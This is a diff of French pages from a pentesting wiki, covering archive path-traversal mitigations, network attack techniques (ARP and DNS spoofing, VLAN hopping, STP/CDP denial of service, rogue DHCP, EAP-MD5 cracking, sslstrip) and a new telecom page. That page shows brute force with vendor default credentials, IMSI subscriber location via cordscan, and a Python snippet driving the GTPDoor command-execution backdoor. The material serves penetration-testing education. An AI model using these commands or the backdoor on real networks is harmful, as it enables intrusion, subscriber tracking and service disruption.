* **Inspection statique** – Lister les entrées d'archive et signaler tout nom contenant `../`, `..\\`, *chemins absolus* (`C:`) ou encodages UTF-8/UTF-16 non canoniques.
* **Extraction en bac à sable** – Décompresser dans un répertoire jetable en utilisant un extracteur *sûr* (par exemple, `patool` de Python, 7-Zip ≥ dernière version, `bsdtar`) et vérifier que les chemins résultants restent à l'intérieur du répertoire.
* **Surveillance des points de terminaison** – Alerter sur les nouveaux exécutables écrits dans les emplacements `Startup`/`Run` peu après qu'une archive soit ouverte par WinRAR/7-Zip/etc.
## Atténuation et durcissement
1. **Mettre à jour l'extracteur** – WinRAR 7.13 implémente une bonne sanitation des chemins. Les utilisateurs doivent le télécharger manuellement car WinRAR n'a pas de mécanisme de mise à jour automatique.
2. Extraire des archives avec l'option **“Ignorer les chemins”** (WinRAR : *Extraire → "Ne pas extraire les chemins"*) lorsque cela est possible.
3. Ouvrir des archives non fiables **dans un bac à sable** ou une VM.
4. Mettre en œuvre une liste blanche d'applications et restreindre l'accès en écriture des utilisateurs aux répertoires d'auto-exécution.
## Cas supplémentaires affectés / historiques
* 2018 – Avis *Zip-Slip* massif par Snyk affectant de nombreuses bibliothèques Java/Go/JS.
* 2023 – 7-Zip CVE-2023-4011 traversée similaire lors de la fusion `-ao`.
* Toute logique d'extraction personnalisée qui ne parvient pas à appeler `PathCanonicalize` / `realpath` avant l'écriture.
## Références
- [BleepingComputer – WinRAR zero-day exploité pour implanter des malwares lors de l'extraction d'archives](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk – Analyse de la vulnérabilité Zip Slip](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}

81
src/generic-methodologies-and-resources/pentesting-network/README.md
View File

@ -11,9 +11,9 @@ Dans cette situation, vous avez un **champ d'IPs** (peut-être même plusieurs *
### ICMP
C'est le moyen le plus **facile** et **rapide** de découvrir si un hôte est actif ou non.\
Vous pourriez essayer d'envoyer quelques **paquets ICMP** et **attendre des réponses**. Le moyen le plus simple est d'envoyer une **demande d'écho** et d'attendre la réponse. Vous pouvez le faire en utilisant un simple `ping` ou en utilisant `fping` pour les **plages**.\
Vous pourriez également utiliser **nmap** pour envoyer d'autres types de paquets ICMP (cela évitera les filtres pour les demandes-réponses d'écho ICMP courantes).
C'est la façon la plus **facile** et **rapide** de découvrir si un hôte est actif ou non.\
Vous pourriez essayer d'envoyer quelques paquets **ICMP** et **attendre des réponses**. La façon la plus simple est d'envoyer une **demande d'écho** et d'attendre la réponse. Vous pouvez le faire en utilisant un simple `ping` ou en utilisant `fping` pour des **plages**.\
Vous pourriez également utiliser **nmap** pour envoyer d'autres types de paquets ICMP (cela évitera les filtres des demandes-réponses d'écho ICMP courantes).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Découverte de port UDP
Vous pourriez également essayer de vérifier si certains **ports UDP sont ouverts** pour décider si vous devriez **porter plus d'attention** à un **hôte.** Comme les services UDP ne **répondent généralement pas** avec **des données** à un paquet de sonde UDP vide, il est difficile de dire si un port est filtré ou ouvert. La façon la plus simple de décider cela est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer le plus probable en fonction du numéro de port :
Vous pourriez également essayer de vérifier si certains **ports UDP sont ouverts** pour décider si vous devriez **porter plus d'attention** à un **hôte.** Comme les services UDP ne **répondent généralement pas** avec **des données** à un paquet de sonde UDP vide, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de décider cela est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer le plus probable en fonction du numéro de port :
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -103,7 +103,7 @@ Mais, comme vous êtes sur le **même réseau** que les autres hôtes, vous pouv
- Si vous **pinguez** une **adresse de diffusion de sous-réseau**, le ping devrait arriver à **chaque hôte** et ils pourraient **répondre** à **vous** : `ping -b 10.10.5.255`
- En pingant l'**adresse de diffusion du réseau**, vous pourriez même trouver des hôtes à l'intérieur de **d'autres sous-réseaux** : `ping -b 255.255.255.255`
- Utilisez les drapeaux `-PE`, `-PP`, `-PM` de `nmap` pour effectuer la découverte d'hôtes en envoyant respectivement des **ICMPv4 echo**, **timestamp**, et **subnet mask requests** : `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
- Utilisez les drapeaux `-PE`, `-PP`, `-PM` de `nmap` pour effectuer la découverte d'hôtes en envoyant respectivement des **ICMPv4 echo**, des **demandes de timestamp**, et des **demandes de masque de sous-réseau** : `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### Scan SCTP
**SCTP (Stream Control Transmission Protocol)** est conçu pour être utilisé aux côtés de **TCP (Transmission Control Protocol)** et **UDP (User Datagram Protocol)**. Son principal objectif est de faciliter le transport des données de téléphonie sur les réseaux IP, reflétant de nombreuses fonctionnalités de fiabilité que l'on trouve dans **Signaling System 7 (SS7)**. **SCTP** est un composant central de la famille de protocoles **SIGTRAN**, qui vise à transporter les signaux SS7 sur les réseaux IP.
**SCTP (Stream Control Transmission Protocol)** est conçu pour être utilisé avec **TCP (Transmission Control Protocol)** et **UDP (User Datagram Protocol)**. Son principal objectif est de faciliter le transport des données de téléphonie sur les réseaux IP, reflétant de nombreuses fonctionnalités de fiabilité que l'on trouve dans **Signaling System 7 (SS7)**. **SCTP** est un composant central de la famille de protocoles **SIGTRAN**, qui vise à transporter les signaux SS7 sur les réseaux IP.
Le support pour **SCTP** est fourni par divers systèmes d'exploitation, tels que **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** et **VxWorks**, indiquant son large acceptation et son utilité dans le domaine des télécommunications et du réseautage.
Le support pour **SCTP** est fourni par divers systèmes d'exploitation, tels que **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, et **VxWorks**, indiquant son large acceptation et son utilité dans le domaine des télécommunications et du réseautage.
Deux scans différents pour SCTP sont offerts par nmap : _-sY_ et _-sZ_
```bash
@ -182,7 +182,7 @@ nmap-summary-esp.md
### Révéler les adresses IP internes
**Des routeurs, des pare-feu et des dispositifs réseau mal configurés** répondent parfois aux sondes réseau en utilisant **des adresses source non publiques**. **tcpdump** peut être utilisé pour identifier les paquets reçus d'adresses privées pendant les tests. Plus précisément, sur Kali Linux, les paquets peuvent être capturés sur l'**interface eth2**, qui est accessible depuis Internet public. Il est important de noter que si votre configuration est derrière un NAT ou un pare-feu, de tels paquets seront probablement filtrés.
**Les routeurs, pare-feu et dispositifs réseau mal configurés** répondent parfois aux sondes réseau en utilisant des **adresses source non publiques**. **tcpdump** peut être utilisé pour identifier les paquets reçus d'adresses privées pendant les tests. Plus précisément, sur Kali Linux, les paquets peuvent être capturés sur l'**interface eth2**, qui est accessible depuis Internet public. Il est important de noter que si votre configuration est derrière un NAT ou un pare-feu, de tels paquets seront probablement filtrés.
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - Débordement CAM
Débordez la table CAM du commutateur en envoyant beaucoup de paquets avec différentes adresses mac source. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un hub (diffusant tout le trafic).
Débordez la table CAM du commutateur en envoyant beaucoup de paquets avec différentes adresses MAC source. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un hub (diffusant tout le trafic).
```bash
macof -i <interface>
```
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
Pour énumérer les VLANs, il est également possible de générer le cadre DTP Desirable avec le script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Ne pas interrompre le script en aucune circonstance. Il injecte DTP Desirable toutes les trois secondes. **Les canaux de trunk créés dynamiquement sur le switch ne vivent que cinq minutes. Après cinq minutes, le trunk se déconnecte.**
Pour énumérer les VLANs, il est également possible de générer le cadre DTP Desirable avec le script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Ne pas interrompre le script en aucune circonstance. Il injecte DTP Desirable toutes les trois secondes. **Les canaux de trunk créés dynamiquement sur le switch ne vivent que cinq minutes. Après cinq minutes, le trunk tombe.**
```
sudo python3 DTPHijacking.py --interface eth0
```
@ -285,7 +285,7 @@ En analysant les cadres STP, **nous apprenons l'existence de VLAN 30 et VLAN 60.
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
#### Attaquer des VLANs spécifiques
#### Attaquer des VLAN spécifiques
Une fois que vous connaissez les ID de VLAN et les valeurs IP, vous pouvez **configurer une interface virtuelle pour attaquer un VLAN spécifique**.\
Si DHCP n'est pas disponible, utilisez _ifconfig_ pour définir une adresse IP statique.
@ -323,13 +323,13 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
L'attaque discutée de **Dynamic Trunking et de la création d'interfaces virtuelles pour découvrir des hôtes à l'intérieur** d'autres VLANs est **automatiquement effectuée** par l'outil : [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
L'attaque discutée de **Dynamic Trunking et la création d'interfaces virtuelles pour découvrir des hôtes à l'intérieur** d'autres VLANs est **automatiquement effectuée** par l'outil : [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
Si un attaquant connaît la valeur du **MAC, IP et VLAN ID de l'hôte victime**, il pourrait essayer de **double taguer une trame** avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la **victime ne pourra pas se connecter** avec l'attaquant, la **meilleure option pour l'attaquant est de communiquer via UDP** à des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).
Si un attaquant connaît la valeur du **MAC, IP et VLAN ID de l'hôte victime**, il pourrait essayer de **double taguer un cadre** avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la **victime ne pourra pas se connecter de nouveau** avec l'attaquant, la **meilleure option pour l'attaquant est de communiquer via UDP** à des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).
Une autre option pour l'attaquant est de lancer un **scan de port TCP en usurpant une IP contrôlée par l'attaquant et accessible par la victime** (probablement via Internet). Ensuite, l'attaquant pourrait écouter sur le deuxième hôte qui lui appartient s'il reçoit des paquets de la victime.
Une autre option pour l'attaquant est de lancer un **scan de port TCP en usurpant une IP contrôlée par l'attaquant et accessible par la victime** (probablement via internet). Ensuite, l'attaquant pourrait écouter sur le deuxième hôte qui lui appartient s'il reçoit des paquets de la victime.
![](<../../images/image (190).png>)
@ -342,7 +342,7 @@ sendp(packet)
```
#### Contournement de la segmentation VLAN latérale <a href="#d679" id="d679"></a>
Si vous avez **accès à un switch auquel vous êtes directement connecté**, vous avez la possibilité de **contourner la segmentation VLAN** au sein du réseau. Il suffit de **changer le port en mode trunk** (également connu sous le nom de trunk), de créer des interfaces virtuelles avec les ID des VLAN cibles, et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou vous pouvez la configurer statiquement. Cela dépend du cas.
Si vous avez **accès à un switch auquel vous êtes directement connecté**, vous avez la capacité de **contourner la segmentation VLAN** au sein du réseau. Il suffit de **changer le port en mode trunk** (également connu sous le nom de trunk), de créer des interfaces virtuelles avec les ID des VLAN cibles, et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou vous pouvez la configurer statiquement. Cela dépend du cas.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -381,7 +381,7 @@ Note : Cette discussion concerne la version 1 de VTP (VTPv1).
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
Dans le mode graphique de Yersinia, choisissez l'option de suppression de tous les VLAN VTP pour purger la base de données VLAN.
Dans le mode graphique de Yersinia, choisissez l'option de suppression de tous les vlans VTP pour purger la base de données VLAN.
### Attaques STP
@ -404,8 +404,8 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **Attaque STP Root**
L'attaquant simule le comportement d'un commutateur pour devenir le root STP du réseau. Ensuite, plus de données passeront par lui. Cela est intéressant lorsque vous êtes connecté à deux commutateurs différents.\
Cela se fait en envoyant des paquets BPDUs CONF indiquant que la valeur de **priorité** est inférieure à la priorité réelle du commutateur root actuel.
L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. Cela est intéressant lorsque vous êtes connecté à deux commutateurs différents.\
Cela se fait en envoyant des paquets BPDUs CONF disant que la valeur de **priorité** est inférieure à la priorité réelle du commutateur racine actuel.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Lors de cette attaque, le CPU du switch et la table des voisins CDP sont fortement sollicités, ce qui entraîne ce que l'on appelle souvent **“paralysie du réseau”** en raison de la consommation excessive de ressources.
Pendant cette attaque, le CPU du switch et la table des voisins CDP sont fortement sollicités, ce qui entraîne ce que l'on appelle souvent **“paralysie du réseau”** en raison de la consommation excessive de ressources.
#### Attaque par usurpation de CDP
```bash
@ -455,7 +455,7 @@ L'outil [**voiphopper**](http://voiphopper.sourceforge.net) est conçu pour ému
Le mode préféré pour la vitesse est le troisième. Il nécessite de spécifier :
- L'interface réseau de l'attaquant (`-i` paramètre).
- Le nom de l'appareil VoIP étant émulé (`-E` paramètre), respectant le format de nommage Cisco (par exemple, SEP suivi d'une adresse MAC).
- Le nom de l'appareil VoIP étant émulé (`-E` paramètre), en respectant le format de nommage Cisco (par exemple, SEP suivi d'une adresse MAC).
Dans les environnements d'entreprise, pour imiter un appareil VoIP existant, on peut :
@ -503,7 +503,7 @@ Vous pourriez utiliser les attaques DoS mentionnées pour forcer les clients à
#### Définir des valeurs malveillantes
Un serveur DHCP malveillant peut être configuré en utilisant le script DHCP situé à `/usr/share/responder/DHCP.py`. Cela est utile pour les attaques réseau, comme la capture du trafic HTTP et des identifiants, en redirigeant le trafic vers un serveur malveillant. Cependant, configurer une passerelle malveillante est moins efficace car cela ne permet que de capturer le trafic sortant du client, manquant les réponses de la véritable passerelle. Au lieu de cela, il est recommandé de configurer un serveur DNS ou WPAD malveillant pour une attaque plus efficace.
Un serveur DHCP malveillant peut être configuré en utilisant le script DHCP situé à `/usr/share/responder/DHCP.py`. Cela est utile pour les attaques réseau, comme la capture du trafic HTTP et des identifiants, en redirigeant le trafic vers un serveur malveillant. Cependant, configurer une passerelle malveillante est moins efficace car cela ne permet de capturer que le trafic sortant du client, manquant les réponses de la véritable passerelle. Au lieu de cela, il est recommandé de configurer un serveur DNS ou WPAD malveillant pour une attaque plus efficace.
Voici les options de commande pour configurer le serveur DHCP malveillant :
@ -528,12 +528,12 @@ En utilisant correctement ces options, un serveur DHCP malveillant peut être é
Voici quelques-unes des tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X :
- Grattage actif de mots de passe par force brute via EAP
- Attaque du serveur RADIUS avec un contenu EAP malformé _\*\*_(exploits)
- Attaque du serveur RADIUS avec du contenu EAP malformé _\*\*_(exploits)
- Capture de messages EAP et craquage de mots de passe hors ligne (EAP-MD5 et PEAP)
- Forçage de l'authentification EAP-MD5 pour contourner la validation du certificat TLS
- Injection de trafic réseau malveillant lors de l'authentification en utilisant un hub ou similaire
Si l'attaquant se trouve entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification à EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait procéder à un craquage par force brute en utilisant :
Si l'attaquant se trouve entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification à EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait utiliser la force brute pour cela :
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
Trois versions du protocole de routage RIP (Routing Information Protocol) sont connues : RIP, RIPv2 et RIPng. Les datagrammes sont envoyés aux pairs via le port 520 en utilisant UDP par RIP et RIPv2, tandis que les datagrammes sont diffusés au port UDP 521 via multicast IPv6 par RIPng. Le support pour l'authentification MD5 a été introduit par RIPv2. D'autre part, l'authentification native n'est pas incorporée par RIPng ; au lieu de cela, on s'appuie sur des en-têtes IPsec AH et ESP optionnels dans IPv6.
Trois versions du protocole de routage RIP (Routing Information Protocol) sont connues : RIP, RIPv2 et RIPng. Les datagrammes sont envoyés aux pairs via le port 520 en utilisant UDP par RIP et RIPv2, tandis que les datagrammes sont diffusés au port UDP 521 via multicast IPv6 par RIPng. Le support pour l'authentification MD5 a été introduit par RIPv2. En revanche, l'authentification native n'est pas incorporée par RIPng ; au lieu de cela, on s'appuie sur des en-têtes IPsec AH et ESP optionnels dans IPv6.
- **RIP et RIPv2 :** La communication se fait par des datagrammes UDP sur le port 520.
- **RIPng :** Utilise le port UDP 521 pour diffuser des datagrammes via multicast IPv6.
@ -560,7 +560,7 @@ Notez que RIPv2 prend en charge l'authentification MD5 tandis que RIPng n'inclut
**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole à vecteur de distance.** S'il n'y a **pas d'authentification** et de configuration des interfaces passives, un **intrus** peut interférer avec le routage EIGRP et provoquer un **empoisonnement des tables de routage**. De plus, le réseau EIGRP (en d'autres termes, le système autonome) **est plat et n'a pas de segmentation en zones**. Si un **attaquant injecte une route**, il est probable que cette route **se propage** dans tout le système EIGRP autonome.
Attaquer un système EIGRP nécessite **d'établir un voisinage avec un routeur EIGRP légitime**, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.
Pour attaquer un système EIGRP, il faut **établir un voisinage avec un routeur EIGRP légitime**, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.
[**FRRouting**](https://frrouting.org/) vous permet de mettre en œuvre **un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles.** Tout ce que vous avez à faire est de le déployer sur le système de votre attaquant et vous pouvez en fait prétendre être un routeur légitime dans le domaine de routage.
@ -574,7 +574,7 @@ eigrp-attacks.md
Dans le protocole Open Shortest Path First (OSPF), **l'authentification MD5 est couramment utilisée pour garantir une communication sécurisée entre les routeurs**. Cependant, cette mesure de sécurité peut être compromise à l'aide d'outils comme Loki et John the Ripper. Ces outils sont capables de capturer et de casser des hachages MD5, exposant la clé d'authentification. Une fois cette clé obtenue, elle peut être utilisée pour introduire de nouvelles informations de routage. Pour configurer les paramètres de route et établir la clé compromise, les onglets _Injection_ et _Connection_ sont utilisés, respectivement.
- **Capturer et casser des hachages MD5 :** Des outils tels que Loki et John the Ripper sont utilisés à cette fin.
- **Capturer et casser des hachages MD5 :** Des outils tels que Loki et John the Ripper sont utilisés à cet effet.
- **Configurer les paramètres de route :** Cela se fait via l'onglet _Injection_.
- **Définir la clé compromise :** La clé est configurée sous l'onglet _Connection_.
@ -596,7 +596,7 @@ Vérifiez la [section précédente](#arp-spoofing).
### ICMPRedirect
ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une IP. Ensuite, lorsque la victime souhaite contacter l'IP, elle enverra le paquet via l'attaquant.
ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une IP. Ensuite, lorsque la victime souhaite contacter l'IP, elle enverra le paquet par l'intermédiaire de l'attaquant.
```bash
Ettercap
icmp_redirect
@ -604,7 +604,7 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw
```
### DNS Spoofing
L'attaquant résoudra certains (ou tous) les domaines que la victime demande.
L'attaquant résoudra certains (ou tous) des domaines que la victime demande.
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
@ -644,19 +644,19 @@ Lisez ici plus d'informations sur [comment usurper des services avec Responder](
Les navigateurs utilisent couramment le **protocole Web Proxy Auto-Discovery (WPAD) pour acquérir automatiquement les paramètres de proxy**. Cela implique de récupérer des détails de configuration à partir d'un serveur, spécifiquement via une URL telle que "http://wpad.example.org/wpad.dat". La découverte de ce serveur par les clients peut se faire par divers mécanismes :
- Par **DHCP**, où la découverte est facilitée en utilisant une entrée de code spécial 252.
- Par **DHCP**, où la découverte est facilitée par l'utilisation d'une entrée de code spécial 252.
- Par **DNS**, ce qui implique de rechercher un nom d'hôte étiqueté _wpad_ dans le domaine local.
- Via **Microsoft LLMNR et NBT-NS**, qui sont des mécanismes de secours utilisés lorsque les recherches DNS échouent.
L'outil Responder tire parti de ce protocole en agissant comme un **serveur WPAD malveillant**. Il utilise DHCP, DNS, LLMNR et NBT-NS pour induire les clients en erreur afin qu'ils se connectent à lui. Pour approfondir comment les services peuvent être usurpés en utilisant Responder [vérifiez ceci](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
L'outil Responder tire parti de ce protocole en agissant comme un **serveur WPAD malveillant**. Il utilise DHCP, DNS, LLMNR et NBT-NS pour induire les clients en erreur et les amener à se connecter à lui. Pour approfondir comment les services peuvent être usurpés en utilisant Responder [vérifiez ceci](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP et appareils UPnP](spoofing-ssdp-and-upnp-devices.md)
Vous pouvez offrir différents services dans le réseau pour essayer de **tromper un utilisateur** afin qu'il entre des **identifiants en texte clair**. **Plus d'informations sur cette attaque dans** [**Spoofing SSDP et UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
Vous pouvez offrir différents services dans le réseau pour essayer de **tromper un utilisateur** afin qu'il entre des **identifiants en texte clair**. **Plus d'informations sur cette attaque dans** [**Spoofing SSDP et appareils UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
### Spoofing de voisinage IPv6
### IPv6 Neighbor Spoofing
Cette attaque est très similaire au spoofing ARP mais dans le monde IPv6. Vous pouvez amener la victime à penser que l'IPv6 du GW a le MAC de l'attaquant.
Cette attaque est très similaire à l'ARP Spoofing mais dans le monde IPv6. Vous pouvez amener la victime à penser que l'IPv6 du GW a le MAC de l'attaquant.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP spoofing
Par défaut, certains systèmes d'exploitation essaient de configurer le DNS en lisant un paquet DHCPv6 sur le réseau. Ensuite, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer lui-même en tant que DNS. Le DHCP fournit également une IPv6 à la victime.
Par défaut, certains systèmes d'exploitation essaient de configurer le DNS en lisant un paquet DHCPv6 sur le réseau. Ensuite, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer comme DNS. Le DHCP fournit également une IPv6 à la victime.
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -699,7 +699,7 @@ Plus d'infos [ici](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/B
La **différence** entre **sslStrip+ et dns2proxy** par rapport à **sslStrip** est qu'ils **redirigeront** par exemple _**www.facebook.com**_ **vers** _**wwww.facebook.com**_ (notez le **supplémentaire** "**w**") et définiront l'**adresse de ce domaine comme l'IP de l'attaquant**. De cette manière, le **client** se **connectera** à _**wwww.facebook.com**_ **(l'attaquant)** mais en arrière-plan **sslstrip+** **maintiendra** la **vraie connexion** via https avec **www.facebook.com**.
Le **but** de cette technique est d'**éviter HSTS** car _**wwww**.facebook.com_ **ne sera pas** enregistré dans le **cache** du navigateur, donc le navigateur sera trompé pour effectuer **l'authentification facebook en HTTP**.\
Le **but** de cette technique est de **éviter HSTS** car _**wwww**.facebook.com_ **ne sera pas** enregistré dans le **cache** du navigateur, donc le navigateur sera trompé pour effectuer **l'authentification facebook en HTTP**.\
Notez que pour réaliser cette attaque, la victime doit d'abord essayer d'accéder à [http://www.faceook.com](http://www.faceook.com) et non https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http.
Plus d'infos [ici](https://www.bettercap.org/legacy/#hsts-bypass), [ici](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) et [ici](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
@ -770,11 +770,11 @@ Prenez en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas
### **Découverte ARP**
Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées dans le réseau. Le PC doit envoyer une requête pour chaque adresse IP possible et seules celles qui sont utilisées répondront.
Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées dans le réseau. L'ordinateur doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront.
### **mDNS (DNS multicast)**
Bettercap envoie une requête MDNS (toutes les X ms) demandant **\_services\_.dns-sd.\_udp.local**. La machine qui voit ce paquet répond généralement à cette requête. Ensuite, elle recherche uniquement les machines répondant à "services".
Bettercap envoie une requête MDNS (toutes les X ms) demandant **\_services\_.dns-sd.\_udp.local**. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, elle recherche uniquement les machines répondant à "services".
**Outils**
@ -794,6 +794,13 @@ Bettercap diffuse des paquets SSDP à la recherche de tous types de services (Po
Bettercap diffuse des paquets WSD à la recherche de services (Port UDP 3702).
### Exploitation des télécommunications / Mobile-Core (GTP)
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## Références
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

140
src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md Normal file
View File

@ -0,0 +1,140 @@
# Exploitation des Réseaux Télécom (GTP / Environnements de Roaming)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Les protocoles de cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des infrastructures de roaming GRX/IPX semi-fiables. Comme ils fonctionnent sur UDP simple avec presque aucune authentification, **tout point d'accès à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation de base**. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
## 1. Reconnaissance & Accès Initial
### 1.1 Comptes OSS / NE par Défaut
Un ensemble étonnamment large d'éléments de réseau de fournisseurs est livré avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une liste de mots dédiée augmente considérablement le succès des attaques par force brute :
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Si l'appareil n'expose qu'un VRF de gestion, pivotez d'abord via un hôte de saut (voir la section «SGSN Emu Tunnel» ci-dessous).
### 1.2 Découverte d'hôtes à l'intérieur de GRX/IPX
La plupart des opérateurs GRX permettent encore **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les écouteurs GTP-C :
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Énumération des abonnés – `cordscan`
L'outil Go suivant crée des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Drapeaux clés :
- `--imsi` IMSI de l'abonné cible
- `--oper` Foyer / HNI (MCC+MNC)
- `-w` Écrire des paquets bruts dans pcap
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les analyses :
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Exécution de code via GTP – `GTPDoor`
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par une balise pré-partagée, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les stdout/stderr sont exfiltrés à l'intérieur des messages **Echo Response** afin qu'aucune session externe ne soit jamais créée.
Paquet PoC minimal (Python) :
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Détection :
* tout hôte envoyant des **Echo Requests déséquilibrés** aux IPs SGSN
